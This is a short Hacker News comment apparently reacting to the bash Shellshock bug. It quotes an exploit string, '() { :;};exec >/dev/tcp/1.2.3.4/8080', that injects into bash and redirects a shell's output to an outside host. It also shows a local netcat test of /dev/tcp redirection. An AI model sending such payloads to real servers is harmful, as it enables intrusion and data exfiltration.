Hacker News new | ask | show | jobs
by daveloyall 4283 days ago
Plus one for this, which I'd never heard of!

    () { :;};exec >/dev/tcp/1.2.3.4/8080
In terminal A:

    hobbes@metalbaby:~$ nc -l -p 9999 -vv
In terminal B:

    hobbes@metalbaby:~$ exec >/dev/tcp/127.0.0.1/9999
Results:

    hobbes@metalbaby:~$ nc -l -p 9999 -vv
    listening on [any] 9999 ...
    connect to [127.0.0.1] from localhost [127.0.0.1] 43230